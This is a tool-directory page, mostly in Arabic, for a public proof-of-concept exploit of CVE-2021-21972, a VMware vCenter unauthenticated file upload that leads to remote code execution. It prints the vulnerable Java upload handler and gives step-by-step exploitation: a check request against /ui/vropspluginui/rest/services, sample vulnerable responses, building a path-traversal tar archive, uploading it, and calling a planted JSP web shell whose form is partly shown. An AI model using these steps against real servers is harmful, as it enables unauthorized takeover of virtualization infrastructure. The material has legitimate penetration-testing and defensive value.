Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-21972 — CVE-2021-21972 – حقن كود غير مصرح به في عميل VMware (RCE) | Kitploit
أدوات/GitHubGitHub/orangmuda/cve-2021-21972
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHuborangmuda/cve-2021-21972

CVE-2021-21972

CVE-2021-21972 – حقن كود غير مصرح به في عميل VMware (RCE)

عرض المستودع
11410منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-21972

[CVE-2021-21972] VMware vSphere Client Unauthorized File Upload to Remote Code Execution (RCE)


إن عميل الويب vSphere Web Client (HTML5) هو في الأساس واجهة إدارية تتيح إدارة تثبيت vSphere. يوفر vSphere Client للمسؤول إمكانية الوصول إلى الوظائف الرئيسية لـ vSphere دون الحاجة إلى الوصول مباشرة إلى خادم vSphere. فهو يسمح للمسؤولين بإنشاء أجهزة افتراضية جديدة وإدارة الأجهزة الموجودة ومواردها. وباعتباره تطبيق ويب متعدد المنصات، يمكن استخدامه على جميع أنظمة التشغيل المدعومة عبر الإصدارات المدعومة من متصفحات الويب المختلفة.

CVE-2021-21972 هي ثغرة رفع ملفات غير مصرح بها في vCenter Server تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد على الخادم البعيد. تعود المشكلة إلى نقص المصادقة في vRealize Operations vCenter Plugin. وقد حصلت على درجة حرجة وفق نظام CVSSv3 بلغت 9.8 من 10.0. يمكن لمهاجم بعيد غير مصادَق استغلال هذه الثغرة عبر رفع ملف مصمم خصيصًا إلى نقطة نهاية معرضة للخطر في vCenter Server ويمكن الوصول إليها علنًا. تتأثر بهذه الثغرة إصدارات VMware vCenter Server التالية: 6.5, 6.7 و 7.0. سيؤدي الاستغلال الناجح لهذه الثغرة إلى تمكين المهاجم من الحصول على امتيازات تنفيذ تعليمات برمجية عن بُعد (RCE) غير مقيدة في نظام التشغيل الأساسي لخادم vCenter Server. على الرغم من أن هذه الثغرة تنبع من vRealize Operations vCenter Plugin، يؤكد إعلان VMware أن هذا المكوّن الإضافي included in all default installations لخادم vCenter Server. وهذا يعني أن نقطة النهاية المعرضة للخطر متاحة بغض النظر عن وجود vRealize Operations.

في التدوينة الأصلية هنا، تم شرح اكتشاف الثغرة بأكبر قدر ممكن من التفاصيل بالإضافة إلى مسارين منفصلين لتحقيق RCE. بالنسبة لأنظمة Windows، يمكن للمهاجم رفع ملف .jsp مصمم خصيصًا للحصول على امتيازات NT AUTHORITY\SYSTEM على نظام التشغيل الأساسي. بالنسبة لأنظمة Linux، يحتاج المهاجم إلى إنشاء مفتاح عام ورفعه إلى مسار authorized_keys على الخادم ثم الاتصال بالخادم المعرض للخطر عبر SSH للحصول على امتيازات مستخدم vsphere-ui. (إذا كانت خدمة SSH تعمل ويمكن الوصول إليها عبر الشبكة)

vropsplugin-service.jar هو ملف أرشيف جافا للمكوّن الإضافي vropspluginui ويحتوي على بعض الفئات والوظائف والأساليب الأخرى ذات الصلة. الجزء المعرض للخطر من الكود موضح أدناه. ينتمي هذا المقتطف البرمجي إلى ServicesController.class في وحدة التحكم الخاصة بـ vropsplugin-service.jar. كما ترى في المقتطف أدناه، فإن الدالة uploadOvaFile هي المسؤولة عن نقطة النهاية/الرابط /ui/vropspluginui/rest/services/uploadova

المسار الكامل للفئة المعرضة للخطر: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class

@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
  public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
    logger.info("Entering uploadOvaFile api");
    int code = uploadFile.isEmpty() ? 400 : 200;
    PrintWriter wr = null;
    try {
      if (code != 200) {
        response.sendError(code, "Arguments Missing");
        return;
      } 
      wr = response.getWriter();
    } catch (IOException e) {
      e.printStackTrace();
      logger.info("upload Ova Controller Ended With Error");
    } 
    response.setStatus(code);
    String returnStatus = "SUCCESS";
    if (!uploadFile.isEmpty())
      try {
        logger.info("Downloading OVA file has been started");
        logger.info("Size of the file received  : " + uploadFile.getSize());
        InputStream inputStream = uploadFile.getInputStream();
        File dir = new File("/tmp/unicorn_ova_dir");
        if (!dir.exists()) {
          dir.mkdirs();
        } else {
          String[] entries = dir.list();
          for (String str : entries) {
            File currentFile = new File(dir.getPath(), str);
            currentFile.delete();
          } 
          logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
        } 
        TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
        TarArchiveEntry entry = in.getNextTarEntry();
        List<String> result = new ArrayList<String>();
        while (entry != null) {
          if (entry.isDirectory()) {
            entry = in.getNextTarEntry();
            continue;
          } 
          File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
          File parent = curfile.getParentFile();
          if (!parent.exists())
            parent.mkdirs(); 
          OutputStream out = new FileOutputStream(curfile);
          IOUtils.copy((InputStream)in, out);
          out.close();
          result.add(entry.getName());
          entry = in.getNextTarEntry();
        } 
        in.close();
        logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
      } catch (Exception e) {
        logger.error("Unable to upload OVA file :" + e);
        returnStatus = "FAILED";
      }  
    wr.write(returnStatus);
    wr.flush();
    wr.close();
  }

من منظور المهاجم، يقوم معالج هذه الفئة بالإجراءات التالية

  • استلام معامل uploadFile عبر طلب بطريقة POST (السطر 2)
  • قراءة معامل uploadFile وكتابة محتواه إلى المتغير inputStream (السطر 22)
  • فتح البيانات الناتجة كأرشيف .tar (السطر 34)
  • استرداد جميع إدخالات الأرشيف (السطر 35)
  • نسخ كل إدخال حالي وتم إنشاؤه على القرص باستخدام اصطلاح تسمية الملفات: /tmp/unicorn_ova_dir + entry.getName() (السطران 42 و47)

إثبات المفهوم: لاستغلال هذه الثغرة، يمكنك اتباع الخطوات التالية

  1. تحقق من الثغرة
  2. أنشئ إدخال أرشيف .tar يحتوي على السلسلة ../../
  3. ارفع ملف الأرشيف المصمم إلى الخادم
  4. انتقل إلى المسار ذي الصلة واستدعِ الملف الذي رفعته /statsreport/uploadedFileName.jsp

للتحقق من الثغرة، يمكنك استخدام الطلب التالي

GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close

إذا كانت استجابة الطلب أعلاه مشابهة للاستجابات أدناه، فهذا يعني أن المضيف البعيد معرض للثغرة CVE-2021-21972

HTTP/1.1 200 
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous

{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close

{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}

بعد ذلك، نحتاج إلى إنشاء ملف .tar مصمم. يمكنك استخدام evilarc لهذا الغرض. Evilarc هو سكربت بايثون بسيط يسمح لك بإنشاء ملف zip يحتوي على ملفات تحتوي على أحرف اجتياز الدلائل في مسارها المضمّن.

محتوى ملف cmdjsp.jsp وهو في الأساس قشرة ويب

<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
تنزيل الأداة